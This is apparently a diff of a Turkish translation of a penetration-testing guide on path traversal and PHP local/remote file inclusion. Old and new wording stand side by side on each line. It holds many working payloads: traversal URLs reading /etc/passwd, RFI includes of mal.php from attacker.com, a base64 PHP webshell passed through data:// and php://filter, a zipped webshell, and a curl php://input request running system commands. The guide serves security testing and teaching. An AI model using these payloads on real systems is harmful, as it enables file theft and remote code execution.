Ayrıca `/` yerine `\` deneyin\ Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `../../../../../` eklemeyi deneyin Ayrıca `../../../../../` eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /etc/password dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows** ### **Windows**
@ -40,22 +40,22 @@ Farklı wordlists'lerin birleşimi:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}} {{#endref}}
Ayrıca `/` yerine `\` deneyin\ Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `C:/` silmeyi ve `../../../../../` eklemeyi deneyin Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /boot.ini dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X** ### **OS X**
linux için LFI listesine bakın. Linux LFI listesini kontrol edin.
## Basic LFI and bypasses ## Basic LFI and bypasses
Tüm örnekler Local File Inclusion içindir, ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Tüm örnekler Local File Inclusion için verilmiştir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
``` ```
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### traversal sequences özyinelemeli olmayan şekilde kaldırıldı ### traversal sequences özyinelemeli olmayan şekilde çıkarıldı
```python ```python
http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **Null byte (%00)** ### **Null byte (%00)**
Sağlanan string'in sonuna fazladan karakter eklenmesini engelleyen Bypass (bypass of: $\_GET\['param']."php") Sağlanan string'in sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php")
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
Bu, **PHP 5.4'ten itibaren çözüldü** Bu **PHP 5.4**'ten beri çözülmüştür
### **Kodlama** ### **Kodlama**
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme ### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır: Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de tanımlamak için belirli teknikler kullanılarak özyinelemeli şekilde keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır:
1. **Determine Directory Depth:** Bulunduğunuz dizinin derinliğini, `/etc/passwd` dosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL şu şekilde yapılandırılabilir ve üç katman derinliği olduğunu gösterir: 1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini `/etc/passwd` dosyasını başarıyla çekerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve derinliğin üç olduğunu gösterir:
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **Klasörleri Sorgula:** Şüpheli klasör adını (ör. `private`) URL'ye ekleyin, ardından `/etc/passwd`'e geri dönün. Ek dizin seviyesi derinliğinin bir artırılmasını gerektirir: 2. **Klasörleri Sınayın:** URL'ye şüpheli klasörün adını (ör. `private`) ekleyin, ardından `/etc/passwd`'e geri dönün. Eklenen dizin seviyesi derinliği bir artırmayı gerektirir:
```bash ```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir: 3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yoktur. - **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yok.
- **İçeriği `/etc/passwd`:** `private` klasörünün varlığı doğrulanır. - **`/etc/passwd` içeriği:** `private` klasörünün varlığı doğrulanır.
4. **Yinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir. 4. **Yinelemeli Keşif:** Keşfedilen klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar açısından daha fazla araştırılabilir.
Farklı konumlardaki dizinleri keşfetmek için payload'u uygun şekilde ayarlayın. Örneğin, geçerli dizinin derinliğinin 3 olduğunu varsayarak `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için kullanın: Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, mevcut dizinin derinliği 3 olduğunu varsayarak `/var/www/` içinde `private` dizini olup olmadığını kontrol etmek için şunu kullanın:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Path Truncation Technique** ### **Path Truncation Technique**
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlatıp kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır. Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirilse bile hedef dosyayı gösterecek şekilde bir dosya yolu oluşturmaktır.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance: In PHP, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsil biçimleri eşdeğer kabul edilebilir. Örneğin:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` aynı yol olarak değerlendirilir.
- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/`) hedeflenen dosyayı değiştirmez. - Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/` yapmak) hedef dosyayı değiştirmez.
- Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez. - Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için path truncation kullanımını göstermektedir: Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sıkça hedef olan `/etc/passwd` dosyasına erişmek için path truncation'ın nasıl kullanılacağını gösterir:
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
``` ```
Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişiklik gösterebilir. Bu senaryolarda ihtiyaç duyulan traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizgileri etkisiz hale getirerek yok sayılmasını sağlar. - **Dot Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal dizileri (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkisiz hale getirebilir.
- **Determining the Required Number of Traversals**: Deneme yanılma yoluyla, kök dizine ve sonra `/etc/passwd`'e ulaşmak için gereken `../` dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizgiler (ör. `.php`) etkisizleştirilirken hedef yol (`/etc/passwd`) korunur. - **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e gitmek için gereken tam `../` dizisi sayısı bulunabilir; böylece eklenen dizeler (ör. `.php`) nötralize edilir ama hedef yol (`/etc/passwd`) korunur.
- **Starting with a Fake Directory**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır. - **Sahte Bir Dizinle Başlama**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Path truncation tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir. Path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapılması gerekir.
**This vulnerability was corrected in PHP 5.3.** **Bu güvenlik açığı PHP 5.3'te giderildi.**
### **Filter bypass tricks** ### **Filtre bypass hileleri**
``` ```
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Off.** olarak ayarlanmıştır. Çalışması için **On** olması gerekir; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz: php'de varsayılan olarak bu devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Eğer bir nedenle **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi **filtering** yapıyorsa, [bu gönderiye göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz: Bir nedenle **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu yazıya göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protokolünü base64 ile kullanarak b64 PHP kodunu çözebilir ve RCE elde edebilirsiniz:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!TIP] > [!TIP]
> Önceki kodda, sonundaki `+.txt` eklendi çünkü attacker `.txt` ile biten bir string'e ihtiyaç duyuyordu; bu yüzden string onunla biter ve b64 decode sonrası o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak). > Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (dolayısıyla çalıştırılacak).
Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olur: Bir başka örnek **`php://` protokolünü kullanmayan** şöyle olabilir:
``` ```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
``` ```
## Python Kök öğesi ## Python Kök element
python'da aşağıdaki gibi bir kodda: python'da aşağıdaki gibi bir kodda:
```python ```python
# file_name is controlled by a user # file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", file_name)
``` ```
Kullanıcı **`file_name`** için bir **mutlak yol** verirse, **önceki yol sadece kaldırılır**: Kullanıcı **`file_name`**'e bir **mutlak yol** geçirirse, **önceki yol sadece kaldırılır**:
```python ```python
os.path.join(os.getcwd(), "public", "/etc/passwd") os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd' '/etc/passwd'
``` ```
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'e göre amaçlanan davranıştır: Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre beklenen davranıştır:
> Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder. > Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
## Java Dizin Listeleme ## Java Dizinlerini Listeleme
Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin talep ederseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla). Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülüyor**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
## İlk 25 parametre ## İlk 25 parametre
İşte local file inclusion (LFI) açıklarına karşı savunmasız olabilecek ilk 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)): Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek ilk 25 parametrenin listesi yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -211,36 +211,36 @@ Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin
?mod={payload} ?mod={payload}
?conf={payload} ?conf={payload}
``` ```
## LFI / RFI — PHP wrappers & protocols kullanımı ## LFI / RFI — PHP wrapper'ları ve protokollerini kullanma
### php://filter ### php://filter
PHP filtreleri, verinin okunmasından veya yazılmasından önce temel **veri üzerinde değişiklik işlemleri** yapmaya izin verir. Filtrelerin 5 kategorisi vardır: PHP filtreleri, veri okunmadan veya yazılmadan önce temel **veri üzerinde değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
- `string.toupper` - `string.toupper`
- `string.tolower` - `string.tolower`
- `string.strip_tags`: Verideki etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey) - `string.strip_tags`: Verideki tag'leri kaldırır ( "<" ve ">" karakterleri arasındaki her şey)
- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın - Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode` - `convert.base64-encode`
- `convert.base64-decode` - `convert.base64-decode`
- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen **tüm kodlamaların listesi** için konsolda şu komutu çalıştırın: `iconv -l` - `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen **tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
> [!WARNING] > [!WARNING]
> `convert.iconv.*` conversion filter'ünü suistimal ederek **istediğiniz metni üretebilirsiniz**, bu da örneğin istediğiniz metni yazmak veya include gibi bir fonksiyonun bu metni işleyebilmesini sağlamak için faydalı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) dosyasına bakın. > `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine olanak tanımak için faydalı olabilir. Daha fazla bilgi için bkz. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yapıyorsanız faydalı) - `zlib.deflate`: İçeriği sıkıştırır (çok fazla veri exfiltrasyonu yaparken faydalı)
- `zlib.inflate`: Veriyi dekomprese eder - `zlib.inflate`: Veriyi dekomprese eder
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı - `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı - `mdecrypt.*` : Kullanımdan kaldırıldı
- Diğer filtreler - Other Filters
- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz: - PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda bir kaç **beklenmedik filtre** bulabilirsiniz:
- `consumed` - `consumed`
- `dechunk`: HTTP chunked encoding'i tersine çevirir - `dechunk`: HTTP chunked encoding'i tersine çevirir
- `convert.*` - `convert.*`
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING] > [!WARNING]
> "php://filter" kısmı büyük/küçük harf duyarsızdır > "php://filter" kısmı büyük/küçük harf duyarsızdır
### Using php filters as oracle to read arbitrary files ### php filters'i oracle olarak kullanarak herhangi bir dosyayı okuma
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) önerilen teknik, sunucudan doğrudan çıktı alınamayan bir lokal dosyayı okumaktır. Bu teknik, **php filters kullanarak (karakter karakter) boolean exfiltration** temeline dayanır. Bunun nedeni, php filtrelerinin bir metni php'nin bir istisna atacak kadar büyük hale getirecek şekilde büyütmek için kullanılabilmesidir.
In the original post you can find a detailed explanation of the technique, but here is a quick summary: Orijinal yazıda tekniğin ayrıntılı bir açıklaması bulunuyor; burada kısa bir özet:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. - Codec **`UCS-4LE`** kullanılarak metnin ilk karakterini başa bırakmak ve string boyutunun üssel olarak artmasını sağlamak.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** - Bu, **ilk harf doğru tahmin edildiğinde** metni o kadar büyük bir hale getirmek için kullanılacak ki php bir **hata** tetikleyecek.
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. - **dechunk** filter ilk char onaltılık değilse **her şeyi silecek**, bu yüzden ilk char'ın hex olup olmadığını öğrenebiliriz.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. - Bu, önceki ile (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştiğinde, metnin başındaki bir harfi; onu onaltılık olmayan bir karaktere dönüştürecek yeterli dönüşümü ne zaman yaptığımızı görerek tahmin etmemize izin verir. Çünkü eğer onaltılıksa, dechunk onu silmez ve başlangıç bombası php hatası tetikler.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - Codec **convert.iconv.UNICODE.CP930** her harfi bir sonraki harfe dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık karakter olmayacağından dechunk onu silmez ve başlangıç bombası çarpımı nedeniyle php hatası tetiklenir.
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). - Başlarda **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterler de leak edilebilir (ve başka codec'ler de diğer harfleri hex aralığına taşımak için kullanılabilir).
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. - İlk karakter bir sayı olduğunda, onu leak edebilmek için önce base64 ile encode etmek ve sırasıyla ilk 2 harfi leak etmek gerekir.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. - Sonraki sorun, **ilk harften daha fazlasını nasıl leak edeceğimizdir**. Bellek sırası filtreleri kullanarak (ör. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**) karakterlerin sırasını değiştirmek ve metnin başka harflerini ilk pozisyona getirmek mümkündür.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. - Daha fazla veri elde edebilmek için fikir, başlangıçta **convert.iconv.UTF16.UTF16** ile **2 byte junk veri üretmek**, üzerine **UCS-4LE** uygulayarak bunları **bir sonraki 2 byte ile pivotlamak** ve junk veriye kadar veriyi **silmek** (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). Leak etmek istediğiniz bite ulaşana kadar bunu sürdürün.
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). Yazıda bu işlemi otomatikleştiren bir araç da paylaşıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: Bu wrapper, process'in açık tuttuğu file descriptor'lara erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır:
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
``` ```
Ayrıca **php://stdin, php://stdout and php://stderr**'i sırasıyla **file descriptors 0, 1 and 2**'ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim) Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak sırasıyla **file descriptors 0, 1 and 2**'ye erişebilirsiniz (bunun bir saldırıda nasıl işe yarayabileceğinden emin değilim)
### zip:// ve rar:// ### zip:// and rar://
İçerisine PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.\ İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyip ona erişin.\
rar protocol'ü kötüye kullanabilmek için **özel olarak etkinleştirilmesi gerekir**. rar protokolünden kötüye yararlanabilmek için **özellikle etkinleştirilmesi gerekir**.
```bash ```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın.
### expect:// ### expect://
Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz: Expect'in etkinleştirilmiş olması gerekir. Bununla kod çalıştırabilirsiniz:
``` ```
http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls http://example.com/index.php?page=expect://ls
``` ```
### input:// ### input://
POST parametrelerinde payload'unuzu belirtin: Yükünüzü POST parametrelerinde belirtin:
```bash ```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
``` ```
### phar:// ### phar://
Bir `.phar` dosyası, bir web uygulaması `include` gibi dosya yükleme için fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir: Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -358,9 +358,9 @@ $phar->stopBuffering();
```bash ```bash
php --define phar.readonly=0 create_path.php php --define phar.readonly=0 create_path.php
``` ```
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak; bu dosya Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir. Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak ve bu dosya potansiyel olarak Local File Inclusion (LFI) zaafiyetlerini sömürmek için kullanılabilir.
